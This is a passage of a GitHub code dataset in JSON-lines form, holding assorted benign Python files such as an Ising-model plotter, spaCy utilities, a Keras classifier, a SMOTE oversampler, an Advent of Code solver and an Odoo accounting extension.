frame\ninit()\nframe.start()\n\n","repo_name":"skakula91/GameDesign-Python-Asteroids-2014","sub_path":"Pong/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"16041256465","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 10 02:04:30 2022\n\n@author: leon\n\"\"\"\nimport numpy as np\n\nfrom MC_Ising import MCI\n\njobid = 25043066\n\n\n# Definiere Systemgroesse\nN = 10    #Kantenlänge\n\n\n# Definiere die Anzahl der Realisierungen zu einer Temperatur\nN_realis = 10\n\n# Definiere die Anzahl der Thermalisierungsschritte\nN_therm = 1000\n\n# Definiere die Anzahl an Monte Carlo Updates um einen Gleichgewichtszustand\n# zu samplen\nN_MC = 10000\n\n# aeusseres Magnetfeld\nB = 0\n\n\n\n\nchi           =    np.load('data/{}/chi_{}.npy'.format(jobid,jobid))\ncv            =    np.load('data/{}/cv_{}.npy'.format(jobid,jobid))\nM             =    np.load('data/{}/M_{}.npy'.format(jobid,jobid))\nu             =    np.load('data/{}/u_{}.npy'.format(jobid,jobid))\ntemperatures  =    np.load('data/{}/temp_{}.npy'.format(jobid,jobid))\n\n\nT_num    = len(temperatures)\nT_max    = max(temperatures)\nT_min    = min(temperatures)\n\n\nmci = MCI(temperatures, T_max, T_min, T_num, N, N_realis, N_therm, N_MC, B)\n\n\nmci.plot(M, chi, u, cv)\n","repo_name":"katakoruma/monte-carlo-simulation-of-ising-modell","sub_path":"MC_Ising_plotten.py","file_name":"MC_Ising_plotten.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"25289844998","text":"import os\nfrom collections import defaultdict\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Dict, Tuple, Union\n\nfrom spacy.tokens import DocBin\nfrom spacy.util import ensure_path\n\nformat_error = \"Incorrect file name {path}.\" \"(lang)-source-split-(seen/unseen).spacy\"\n\n\n@dataclass\nclass SplitInfo:\n    \"\"\"\n    Provides convenient wrapper to parse\n    the data file names, but its also useful\n    to validate that the file names are in\n    stardardized format.\n\n    It checks that all files have the format\n    \"(lang)-source-split-(seen/unseen).spacy\"\n    and stores the full path, \"source\", \"split\", \"lang\"\n    and unseen/seen fields.\n    Additionally if one data set comes in multiple\n    languages like \"es-conll-train.spacy\" and \"nl-conll-train.spacy\"\n    it stores \"es-conll\" or \"nl-conll\" as .source, but\n    \"conll\" as .dataset for both.\n    \"\"\"\n\n    path: Union[Path, str]\n\n    def __post_init__(self):\n        self.path = ensure_path(self.path)\n        self.name = self.path.name\n        tokens = self.name.split(\"-\")\n        if not 1 < len(tokens) <= 4:\n            raise ValueError(format_error.format(self.path))\n        if not tokens[-1].endswith(\".spacy\"):\n            raise ValueError(format_error.format(self.path))\n        last = tokens[-1].split(\".\")[0]\n        if last in {\"seen\", \"unseen\"}:\n            self.seen = last\n            self.split = tokens[-2]\n            tokens.pop()\n        else:\n            self.seen = \"\"\n            self.split = last\n        if self.split not in {\"train\", \"dev\", \"test\"}:\n            raise ValueError(\n                \"Splits has to be either 'train', 'dev' or 'test', \"\n                f\"but found {self.split} in file name {self.path}\"\n            )\n        if len(tokens) == 3:\n            source = tokens[1]\n            self.lang = tokens[0]\n            self.source = f\"{self.lang}-{source}\"\n        # known to be English data sets.\n        elif tokens[0] in [\"anem\", \"wnut17\", \"archaeo\", \"restaurant\"]:\n            source = tokens[0]\n            self.source = tokens[0]\n            self.lang = \"en\"\n        else:\n            source = tokens[0]\n            self.source = tokens[0]\n            self.lang = \"xx\"\n        self.dataset = source\n\n\n@dataclass\nclass DatasetInfo:\n    source: str\n    train: SplitInfo\n    dev: SplitInfo\n    test: SplitInfo\n\n    def __post_init__(self):\n        langs = [self.train.lang, self.dev.lang, self.test.lang]\n        if not len(set(langs)) == 1:\n            raise ValueError(\n                \"All splits of the same dataset should have the \"\n                f\"same langauge, but found {langs}.\"\n            )\n        else:\n            self.lang = self.train.lang\n\n    def __getitem__(self, key: str) -> SplitInfo:\n        return self.__dict__[key]\n\n    def load(self) -> Tuple[DocBin, DocBin, DocBin]:\n        train = DocBin().from_disk(self.train.path)\n        dev = DocBin().from_disk(self.dev.path)\n        test = DocBin().from_disk(self.test.path)\n        return train, dev, test\n\n\ndef info(model: str, *, home: str = \"corpus\") -> Dict[str, DatasetInfo]:\n    \"\"\"\n    Provides convenient wrapper to avoid\n    parsing the filenames. It's also useful to\n    validate that all splits are there and the\n    filenames are in the standardized format.\n    \"\"\"\n    if model not in [\"ner\", \"spancat\"]:\n        raise ValueError(\"'model' has to be 'ner' or 'spancat', \" f\"but found {model}\")\n    home = os.path.join(home, model)\n    filenames = os.listdir(home)\n    splits = []\n    for name in filenames:\n        path = os.path.join(home, name)\n        split = SplitInfo(path)\n        splits.append(split)\n    datasets: Dict[str, Dict[str, SplitInfo]] = defaultdict(dict)\n    for split in splits:\n        datasets[split.source][split.split] = split\n    out = {}\n    for source in datasets:\n        if len(datasets[source]) < 3:\n            raise ValueError(f\"Each dataset has to have 3 splits, check {source}\")\n        datainfo = DatasetInfo(\n            source,\n            datasets[source][\"train\"],\n            datasets[source][\"dev\"],\n            datasets[source][\"test\"],\n        )\n        out[source] = datainfo\n    return out\n","repo_name":"explosion/projects","sub_path":"benchmarks/span-labeling-datasets/scripts/_util.py","file_name":"_util.py","file_ext":"py","file_size_in_byte":4149,"program_lang":"python","lang":"en","doc_type":"code","stars":1184,"dataset":"github-code","pt":"38"}
{"seq_id":"39199127431","text":"#coding:utf8\nfrom timeit import repeat\n\ndef func():\n    s = 0\n    for i in range(1000):\n        s += i\n\n#repeat和timeit用法相似，多了一个repeat参数，表示重复测试的次数(可以不写，默认值为3.)，返回值为一个时间的列表。\nt = repeat('func()', 'from __main__ import func', number=100, repeat=5)\nprint(t) \nprint(min(t))","repo_name":"Rgcsh/CheckWork_gps","sub_path":"carrier/test/timeit_test.py","file_name":"timeit_test.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"zh","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"}
{"seq_id":"23708496054","text":"from keras.models import Sequential\nfrom keras.layers import Dropout, Activation, Dense\nfrom keras.layers import Flatten, Convolution2D, MaxPooling2D\nfrom keras.models import load_model\nimport cv2\nimport pickle\n\nwith open('./img_data.pickle', 'rb') as f:\n    X_train, X_test, Y_train, Y_test = pickle.load(f)\n\ncategories = [\"(\", \")\", \"+\", \"-\", \"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"=\", \"A\",\n              \"alpha\", \"b\", \"beta\", \"C\", \"cos\", \"d\", \"div\", \"e\", \"f\",\n              \"forward_slash\", \"G\", \"gamma\", \"H\", \"i\", \"infty\", \"int\", \"j\", \"k\", \"l\",\n              \"lim\", \"log\", \"M\", \"N\", \"p\", \"pi\", \"q\",\n              \"rightarrow\", \"sigma\", \"sin\", \"sqrt\", \"sum\", \"T\", \"tan\", \"times\", \"u\", \"v\", \"w\", \"X\", \"y\",\n              \"z\", \"{\", \"}\"]\nnum_categories = len(categories)\n\nmodel = Sequential()\nmodel.add(Convolution2D(16, 3, 3, border_mode='same', activation='relu', input_shape=X_train.shape[1:]))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\n\nmodel.add(Convolution2D(64, 3, 3, activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\n\nmodel.add(Convolution2D(64, 3, 3))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\n\nmodel.add(Flatten())\nmodel.add(Dense(256, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_categories, activation='softmax'))\n\nmodel.compile(loss='binary_crossentropy', optimizer='Adam', metrics=['accuracy'])\nmodel.fit(X_train, Y_train, batch_size=32, nb_epoch=20)\n\nmodel.save('Gersang.h5')","repo_name":"SongSeungBeom/handwritten-math","sub_path":"math_model.py","file_name":"math_model.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7085697709","text":"import numpy as np\nimport pandas as pd\nimport sys\nimport os\nfrom keras.models import load_model\n\nfrom multiprocessing import Pool\n\nfiles = ['stack_2.h5', 'stack_4.h5', 'stack_5.h5', 'stack_7.h5', 'stack_8.h5', 'stack_3.h5', 'dnn.h5']\n\noutput_path = sys.argv[1]\n\ntest_x_dnn = np.load('hw6_test_x_dnn.npy')\ntest_x_rnn = np.load('hw6_test_x_rnn.npy')\n\nmodel = load_model(os.path.join('models', files[-1]))\ny = model.predict(test_x_dnn)\n\nfor s in files[:-1]:\n    model = load_model(os.path.join('models', s))\n    y += model.predict(test_x_rnn)\n\n\nans = ((np.array(y)/7.) >= 0.5).astype(int)\n\nwith open(output_path, 'w') as f:\n    f.write('id,label\\n')\n    for i in range(len(ans)):\n        f.write(str(i) + ',' + str(ans[i][0]) + '\\n')\n\n\n\n\n\n\n","repo_name":"mhsuab/ML2019SPRING","sub_path":"hw6/ave.py","file_name":"ave.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74188768110","text":"#custom script for collecting lq reads from a folder of vcf files.\n\nimport pandas as pd\nfrom multiprocessing import Pool\nimport gzip, io, os, time\n\ndef read_vcf(path):\n    with gzip.open(path, 'r') as f:\n        lines = []\n        for line in f:\n            if line[:2] != b'##':\n                l = line.decode('utf-8')\n                if l.split('\\t')[6] == 'LowQual':\n                    lines.append(l)\n\n    lines = ''.join(lines)\n    return pd.read_csv(io.StringIO(lines), names = ['#CHROM', 'POS', 'ID', 'REF', 'ALT', 'QUAL', 'FILTER', 'INFO', 'FORMAT', 'FILE'],\n           dtype={'#CHROM': str, 'POS': str, 'ID': str, 'REF': str, 'ALT': str, 'QUAL': str, 'FILTER': str, 'INFO': str, 'FORMAT': str,\n                 'FILE': str}, sep='\\t')\n\ndef poolparty(tit):\n    \n    it, pdf = tit    \n    \n    ft1 = time.time()\n\n    df = read_vcf('/home/ric/Cat-chan/174vcf/%s' %it)\n\n    ft2 = time.time() - ft1\n    print('Took %d seconds to read dataframe of shape %dx%d.' %((ft2,) + df.shape))       \n    \n    df['Alleles'] = [s.split(':')[0] for s in df.iloc[:, -1].to_list()]\n    df['CP'] = df['#CHROM'] + df['POS'].astype(str)\n    df = df[['CP', 'REF', 'ALT', 'Alleles']]  \n\n    bshape = df.shape\n    \n    for pos in df['CP'][df['CP'].duplicated()].to_list():\n        if len(df.loc[df['CP'] == pos, 'REF'].iloc[0]) + len(df.loc[df['CP'] == pos, 'REF'].iloc[1]) == 2:\n            df.loc[df['CP'] == pos, 'CP'] = [pos, pos + 'i']\n        else:\n            #print('Del ALTs: %s.' % df.loc[df['CP'] == pos, 'ALT'].iloc[0] + df.loc[df['CP'] == pos, 'ALT'].iloc[1])\n            df.loc[df['CP'] == pos, 'CP'] = [pos, pos + 'd']\n\n    \n    df = df.drop(columns = ['REF'])\n    df = df.drop_duplicates(subset = 'CP').reset_index(drop = True)\n    print('Shape before dropping %dx%d. Shape after dropping %dx%d.' % (bshape + df.shape))\n    \n    pdf = pd.merge(pdf, df, on ='CP', how = 'left').reset_index(drop = True)\n\n    tf3 = time.time() - (ft1 + ft2)\n    print('Merge complete for %s in %d seconds. Shape: %dx%d.' %(it, tf3, pdf.shape[0], pdf.shape[1]))\n            \n    pdf.to_csv('/home/ric/Cat-chan/BSNPrune/%s' %it, index = False) \n      \n\nif __name__ == '__main__':\n\n    t1 = time.time()\n    print('Entered working loop.')\n    \n    pdf = pd.read_csv('/home/ric/Cat-chan/hqBSNP.csv', dtype = str)[['CP']]\n    \n    tit = iter([(f,pdf) for f in os.listdir('/home/ric/Cat-chan/174vcf/') if f[-6:] == 'vcf.gz'])\n    \n    pool = Pool(processes = 15, maxtasksperchild = 20)\n    \n    result = pool.map(poolparty, tit)\n\n    pool.close()\n    \n    print('Pool closed.')\n","repo_name":"DeadlineWasYesterday/Cat-Does-Plant","sub_path":"Archive/VCF parser prune.py","file_name":"VCF parser prune.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"33257350524","text":"import argparse\n\nfrom ros2_launch_checker.RosPackage import RosPackage\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(\n        description='Checks ROS package inconsistencies'\n    )\n    parser.add_argument(\"path\", help=\"the path of the package\")\n    parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\")\n\n    args = parser.parse_args()\n    path = args.path\n    verbose = args.verbose\n\n    rp = RosPackage(path, verbose)\n    rp.explore_package()\n    rp.verify_integrity()","repo_name":"rosin-project/ros2_launch_checker","sub_path":"ros2_launch_checker/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"23957904792","text":"def read_input(filename):\n    with open(filename, \"r\") as fh:\n        return [list(line.strip()) for line in fh.readlines()]\n\n\ndef get_pathfind_ctx(inp):\n    ctx = {\n        \"start\": None,\n        \"goal\": None,\n        \"grid\": [row.copy() for row in inp],\n    }\n    for y, row in enumerate(inp):\n        for x, cell in enumerate(row):\n            if cell == \"S\":\n                ctx[\"start\"] = (x, y)\n                ctx[\"grid\"][y][x] = \"a\"\n            elif cell == \"E\":\n                ctx[\"goal\"] = (x, y)\n                ctx[\"grid\"][y][x] = \"z\"\n    return ctx\n\n\ndef get_neighbours(grid, node):\n    for x in range(-1, 2, 1):\n        gx = node[0] + x\n        if gx >= 0 and gx < len(grid[node[1]]):\n            if ord(grid[node[1]][gx]) <= ord(grid[node[1]][node[0]]) + 1:\n                yield (node[0] + x, node[1])\n    for y in range(-1, 2, 1):\n        gy = node[1] + y\n        if gy >= 0 and gy < len(grid):\n            if ord(grid[gy][node[0]]) <= ord(grid[node[1]][node[0]]) + 1:\n                yield (node[0], node[1] + y)\n\n\ndef find_path(ctx):\n    came_from = {}\n    open_set = set([ctx[\"start\"]])\n\n    def _h(pos):\n        return abs(pos[0] - ctx[\"goal\"][0]) + abs(pos[1] - ctx[\"goal\"][1])\n\n    g_score = {ctx[\"start\"]: 0}\n    f_score = {ctx[\"start\"]: _h(ctx[\"start\"])}\n\n    def _compare_g(score, pos):\n        pos_score = g_score.get(pos)\n        return -1 if pos_score is None or score < pos_score else 1\n\n    def _reconstruct(node):\n        final_path = [node]\n        current = node\n        while True:\n            current = came_from[current]\n            final_path.insert(0, current)\n            if current == ctx[\"start\"]:\n                break\n        return final_path\n\n    while len(open_set) > 0:\n        node = sorted(\n            [(f_score[x], x)\n             for x in open_set],\n            key=lambda x: x[0])[0][1]\n        if node == ctx[\"goal\"]:\n            return _reconstruct(node)\n\n        open_set.remove(node)\n        for neighbour in get_neighbours(ctx[\"grid\"], node):\n            tent_g_score = g_score[node] + 1\n            if _compare_g(tent_g_score, neighbour) == -1:\n                came_from[neighbour] = node\n                g_score[neighbour] = tent_g_score\n                f_score[neighbour] = tent_g_score + _h(neighbour)\n                open_set.add(neighbour)\n\n\ndef solve_p1(inp):\n    ctx = get_pathfind_ctx(inp)\n    return len(find_path(ctx)) - 1\n\n\ndef solve_p2(inp):\n    ctx = get_pathfind_ctx(inp)\n    shortest = None\n    for start_y, row in enumerate(ctx[\"grid\"]):\n        for start_x, cell in enumerate(row):\n            if cell != \"a\":\n                continue\n            ctx[\"start\"] = (start_x, start_y)\n            path = find_path(ctx)\n            if path is not None:\n                pathlen = len(path) - 1\n                if shortest is None or pathlen < shortest:\n                    shortest = pathlen\n    return shortest\n\n\ndef main():\n    inp = read_input(\"input.txt\")\n    print(f\"The solution to part 1 is: {solve_p1(inp)}\")\n    print(f\"The solution to part 2 is: -\\n{solve_p2(inp)}\")\n\n\ndef test_ex():\n    inp = read_input(\"input_ex.txt\")\n    assert solve_p1(inp) == 31\n    assert solve_p2(inp) == 29\n\n\ndef test_main():\n    inp = read_input(\"input.txt\")\n    assert solve_p1(inp) == 440\n    assert solve_p2(inp) == 439\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"polaris64/advent-of-code","sub_path":"2022/12/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"16562903863","text":"# coding:utf-8\nimport xlwt\n\n\ndef w_excel(web, job, city, keys, datas):\n    book = xlwt.Workbook(encoding='utf-8', style_compression=0)\n    sheet = book.add_sheet('sheet1', cell_overwrite_ok=True)\n    # 生成标题\n    for i in range(len(keys)):\n        sheet.write(0, i, keys[i])\n    # 添加数据\n    for row_index, row in enumerate(datas):\n        for col_index, col in enumerate(row.items()):\n            sheet.write(row_index + 1, col_index, col[1])\n    path = '{}_{}_{}.xls'.format(web, job, city)\n    book.save(path)","repo_name":"thoftheocean/recruit","sub_path":"excel.py","file_name":"excel.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"4710680471","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n# author:WWF\r\n# datetime:2019/5/22 14:26\r\n# 参考：https://www.cnblogs.com/paiandlu/p/8081763.html\r\n\r\nimport random\r\nfrom sklearn.neighbors import NearestNeighbors\r\nimport numpy as np\r\n\r\n\r\nclass Smote:\r\n    def __init__(self, N=1, k=5):\r\n        self.__shape = None\r\n        self.__N = N\r\n        self.__k = k\r\n\r\n    def fit(self, samples):\r\n        self.__shape = samples.shape  # 源样本的shape\r\n        # 塑形为两位度才可以用KNN\r\n        self.__samples = samples.reshape((self.__shape[0], -1))\r\n        self.__tmp_shape = self.__samples.shape\r\n        # 返回值的维度\r\n        self.__ret_shape = (self.__shape[0] * self.__N,) + self.__shape[1:]\r\n\r\n    def transform(self):\r\n        # 如果没有喂给数据，则直接返回None\r\n        if self.__shape == None:\r\n            return None\r\n        self.__index = 0  # 清零新增数据的索引\r\n        self.__X = np.zeros((self.__tmp_shape[0] * self.__N, self.__tmp_shape[1]))  # 构造返回的数据，具体数据待填充\r\n        neighbors = NearestNeighbors(n_neighbors=self.__k).fit(self.__samples)\r\n        for i in range(self.__shape[0]):  # 根据每一个样本产生一个新样本\r\n            # nnarray当前样本最近k个的样本的索引\r\n            nnarray = neighbors.kneighbors(self.__samples[i].reshape(1, -1), return_distance=False)[0]\r\n            # 根据当前样本索引和，最近k和样本生成一个新样本\r\n            self.__new_one_sample(i, nnarray)\r\n        return self.__X.reshape(self.__ret_shape)  # 重新塑形并返回\r\n\r\n    def fit_transform(self, samples):\r\n        self.fit(samples)\r\n        return self.transform()\r\n\r\n    # 根据当前样本索引和，最近k和样本生成一个新样本\r\n    def __new_one_sample(self, i, nnarray):\r\n        for _ in range(self.__N):\r\n            # 从K个最近的样本随机挑选不同于当前样本的一个样本\r\n            nn_idx = random.choice(nnarray)\r\n            while (nn_idx == i):\r\n                nn_idx = random.choice(nnarray)\r\n            gap = self.__samples[nn_idx] - self.__samples[i]\r\n            prob = random.random()\r\n            # 根据公式生成新样本\r\n            self.__X[self.__index] = self.__samples[i] + prob * gap\r\n            self.__index += 1\r\n\r\n\r\nif __name__ == '__main__':\r\n    a = np.array([[1, 3, 4], [2, 5, 6], [4, 1, 2], [5, 1, 4], [3, 2, 4], [5, 3, 5]])\r\n    print(\"\\n\" * 2, \"测试维度为\", a.shape)\r\n    print(\"*\" * 100)\r\n    s = Smote()\r\n    s.fit(a)\r\n    print(s.transform())\r\n\r\n    # 测试多维度支持\r\n    b = np.zeros((10,) + a.shape)\r\n    print(\"\\n\" * 2, \"测试维度为\", b.shape)\r\n    print(\"*\" * 100)\r\n    for i in range(10):\r\n        b[i, :] = s.fit_transform(a)\r\n    print(s.fit_transform(b))","repo_name":"SciEvan/SklearnTextClassification","sub_path":"script/smote.py","file_name":"smote.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"6831406471","text":"from config.settings import root\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/2.1/howto/static-files/\n\nSTATIC_URL = '/static/'\n\nSTATICFILES_DIRS = [\n    root('static'),\n]\n\nSTATIC_ROOT = root('assets')\n\nMEDIA_URL = '/media/'\n\nMEDIA_ROOT = root('media')\n","repo_name":"arthurc0102/ntub-bot","sub_path":"config/components/static.py","file_name":"static.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"37772614988","text":"'''\nimport requests#导入 Requests 模块\n\nr = requests.get('https://github.com/timeline.json')#尝试获取某个网页。本例子中，我们来获取 Github 的公共时间线。\n#现在，我们有一个名为 r 的 Response 对象。我们可以从这个对象中获取所有我们想要的信息。\n\nr = requests.post(\"http://httpbin.org/post\")#发送一个 HTTP POST 请求\nr = requests.put(\"http://httpbin.org/put\")\nr = requests.delete(\"http://httpbin.org/delete\")\nr = requests.head(\"http://httpbin.org/get\")\nr = requests.options(\"http://httpbin.org/get\")\n'''\n\n'''\nRequests\n网络资源（URLs）获取套件。\n改善Urllib2的缺点，让使用者以最简单的方式获取网络资源。\n可以使用REST操作（POST,PUT,GET,DELETE）存取网络资源。\n\nRequests是用python语言基于urllib编写的，采用的是Apache2 Licensed开源协议的HTTP库，Requests它会比urllib更加方便，可以节约我们大量的工作。\n\n安装：pip install requests\n\n\n'''\nnewsurl='https://www.zhihu.com/'\nres=requests.get(newsurl)\n\n'''\nresponse.text返回的是Unicode格式，通常需要转换为utf-8格式，否则就是乱码。\nresponse.content是二进制模式，可以下载视频之类的，如果想看的话需要decode成utf-8格式。\n不管是通过response.content.decode(\"utf-8)的方式还是通过response.encoding=\"utf-8\"的方式都可以避免乱码的问题发生。\n\n'''\nres.enconding = 'utf-8'\nprint(res.text)\n\n'''\n但是上面获取网页信息的代码出问题了：\n<html><body><h1>500 Server Error</h1>\nAn internal server error occured.\n</body></html>\n\n但是把网址换成：\nhttps://www.baidu.com/\n之后，得到了网页内容。\n网上说这种500错误是对方服务器抗不住压力,所以超时或者发生其它错误，和程序没有太大关系。\n'''\n","repo_name":"MurielSpot/python_note","sub_path":"requests/RequestsModule的简单用法的几个例子.py","file_name":"RequestsModule的简单用法的几个例子.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"21204673804","text":"'''\nCreated on May 3, 2017\n\n@author: MT\n'''\n\nclass Solution(object):\n    def findMaxConsecutiveOnes(self, nums):\n        \"\"\"\n        :type nums: List[int]\n        :rtype: int\n        \"\"\"\n        prev = -1\n        maxLen = 0\n        for i, num in enumerate(nums):\n            if num == 0:\n                maxLen = max(maxLen, i-prev-1)\n                prev = i\n        maxLen = max(maxLen, len(nums)-prev-1)\n        return maxLen\n    \n    def test(self):\n        testCases = [\n            [1],\n            [],\n            [1, 1, 0, 1, 1, 1],\n            [1, 0, 1, 1, 0, 1],\n        ]\n        for nums in testCases:\n            print('nums: %s' % nums)\n            result = self.findMaxConsecutiveOnes(nums)\n            print('result: %s' % result)\n            print('-='*30+'-')\n\nif __name__ == '__main__':\n    Solution().test()\n","repo_name":"syurskyi/Algorithms_and_Data_Structure","sub_path":"_algorithms_challenges/leetcode/LeetcodePythonProject/leetcode_0451_0500/LeetCode485_MaxConsecutiveOnes.py","file_name":"LeetCode485_MaxConsecutiveOnes.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"15286778560","text":"from aneki import parsers\n\n\ndef test_anekdot():\n    source = parsers.AnekdotRu()\n    for _ in range(10):\n        res, text = source.get_text(source.get_url())\n        if res == 200:\n            break\n    assert res == 200\n    cleaned = source.clear_anek(text)\n    assert text != cleaned\n","repo_name":"VolkovAK/aneki","sub_path":"tests/test_anekdotru.py","file_name":"test_anekdotru.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"71745718192","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import _, api, fields, models\nfrom odoo.exceptions import UserError\nfrom odoo.addons import decimal_precision as dp\n\nclass AccountMoveLine(models.Model):\n    _inherit = \"account.move.line\"\n\n    #override to pass the branch filed vlaue\n    #@api.multi\n    #def create_analytic_lines(self):\n    \"\"\" Create analytic items upon validation of an account.move.line having an analytic account or an analytic distribution.\n        for obj_line in self:\n            if obj_line.payment_id.state == 'draft' or not obj_line.payment_id.state:\n                for tag in obj_line.analytic_tag_ids.filtered('active_analytic_distribution'):\n                    for distribution in tag.analytic_distribution_ids:\n                        vals_line = obj_line._prepare_analytic_distribution_line(distribution)\n                        if obj_line.invoice_id:\n                            vals_line['branch_id'] = obj_line.invoice_id.loc_from.loc_branch_id.id\n                        elif obj_line.payment_id:\n                            if obj_line.payment_id.branch_ids:\n                                vals_line['branch_id'] = obj_line.payment_id.branch_ids.id\n                        self.env['account.analytic.line'].create(vals_line)\n                if obj_line.analytic_account_id:\n                    vals_line = obj_line._prepare_analytic_line()[0]\n                    if obj_line.invoice_id:\n                        vals_line['branch_id'] = obj_line.invoice_id.loc_from.loc_branch_id.id\n                    elif obj_line.payment_id:\n                        if obj_line.payment_id.branch_ids:\n                            vals_line['branch_id'] = obj_line.payment_id.branch_ids.id\n                    self.env['account.analytic.line'].create(vals_line)\"\"\"\n    \n    #For Pass Other Analysis Fields\n    \n    def _prepare_analytic_line(self):\n        \"\"\" Prepare the values used to create() an account.analytic.line upon validation of an account.move.line having\n            an analytic account. This method is intended to be extended in other modules.\n        \"\"\"\n        amount = (self.credit or 0.0) - (self.debit or 0.0)\n        default_name = self.name or (self.ref or '/' + ' -- ' + (self.partner_id and self.partner_id.name or '/'))\n        # print('_prepare_analytic_line..........account_id.',self.account_id)\n        return {\n            'name': default_name,\n            'date': self.date,\n            'account_id': self.account_id.id,\n            'tag_ids': [(6, 0, self._get_analytic_tag_ids())],\n            'unit_amount': self.quantity,\n            'product_id': self.product_id and self.product_id.id or False,\n            'product_uom_id': self.product_uom_id and self.product_uom_id.id or False,\n            'amount': amount,\n            'general_account_id': self.account_id.id,\n            'ref': self.ref,\n            'move_id': self.id,\n            'user_id': self.invoice_id.user_id.id or self._uid,\n            'partner_id': self.partner_id.id,\n            'company_id': self.analytic_account_id.company_id.id or self.env.user.company_id.id,\n            'branch_id' : self.bsg_branches_id and self.bsg_branches_id.id or False,\n            'fleet_vehicle_id' : self.fleet_vehicle_id and self.fleet_vehicle_id.id or False,\n            'trailer_id' : self.trailer_id and self.trailer_id.id or False,\n            'department_id': self.department_id and self.department_id.id or False,\n        }\n\n\n    # def _prepare_analytic_distribution_line(self, distribution, account_id, distribution_on_each_plan):\n    #     \"\"\" Prepare the values used to create() an account.analytic.line upon validation of an account.move.line having\n    #         analytic tags with analytic distribution.\n    #     \"\"\"\n    #     self.ensure_one()\n    #     print('................account_id...........',account_id)\n    #     account_id = int(account_id)\n    #     account = self.env['account.analytic.account'].browse(account_id)\n    #     distribution_plan = distribution_on_each_plan.get(account.root_plan_id, 0) + distribution\n    #     if self.env.company.currency_id.compare_amounts(distribution_plan, 100) == 0:\n    #         amount = -self.balance * (100 - distribution_on_each_plan.get(account.root_plan_id, 0)) / 100.0\n    #     else:\n    #         amount = -self.balance * distribution / 100.0\n    #     distribution_on_each_plan[account.root_plan_id] = distribution_plan\n    #     default_name = self.name or (self.ref or '/' + ' -- ' + (self.partner_id and self.partner_id.name or '/'))\n    #     return {\n    #         'name': default_name,\n    #         'date': self.date,\n    #         'account_id': int(account_id) if account_id not in ['false'] else 1,\n    #         'partner_id': self.partner_id.id,\n    #         'unit_amount': self.quantity,\n    #         'product_id': self.product_id and self.product_id.id or False,\n    #         'product_uom_id': self.product_uom_id and self.product_uom_id.id or False,\n    #         'amount': amount,\n    #         'general_account_id': self.account_id.id,\n    #         'ref': self.ref,\n    #         'move_line_id': self.id,\n    #         'user_id': self.move_id.invoice_user_id.id or self._uid,\n    #         'company_id': account.company_id.id or self.company_id.id or self.env.company.id,\n    #     }\n\n\n    def _prepare_analytic_distribution_line(self, distribution,account_id, distribution_on_each_plan):\n        \"\"\" Prepare the values used to create() an account.analytic.line upon validation of an account.move.line having\n            analytic tags with analytic distribution.\n        \"\"\"\n        self.ensure_one()\n        print('...........self.............',self)\n        print('...........distribution.............',distribution)\n        print('...........distribution_on_each_plan.............',distribution_on_each_plan)\n        print('...........account_id.............',account_id)\n        print('...........account_id.............',type(account_id))\n        print('...........self.account_id.............',self.account_id)\n        print('...........self.analytic_distribution.............',self.analytic_distribution.items())\n\n        # Migratio Note\n        # amount = -self.balance * distribution.percentage / 100.0\n        amount = -self.balance * distribution / 100.0\n        default_name = self.name or (self.ref or '/' + ' -- ' + (self.partner_id and self.partner_id.name or '/'))\n        # Migration Note\n        # 'tag_ids': [(6, 0, [distribution.tag_id.id] + self._get_analytic_tag_ids())],\n        # 'tag_ids': [(6, 0, self.tax_tag_ids.ids)],\n        return {\n            'name': default_name,\n            'date': self.date,\n            'account_id': int(account_id) if account_id not in ['false'] else 1,\n            'partner_id': self.partner_id.id,\n            'unit_amount': 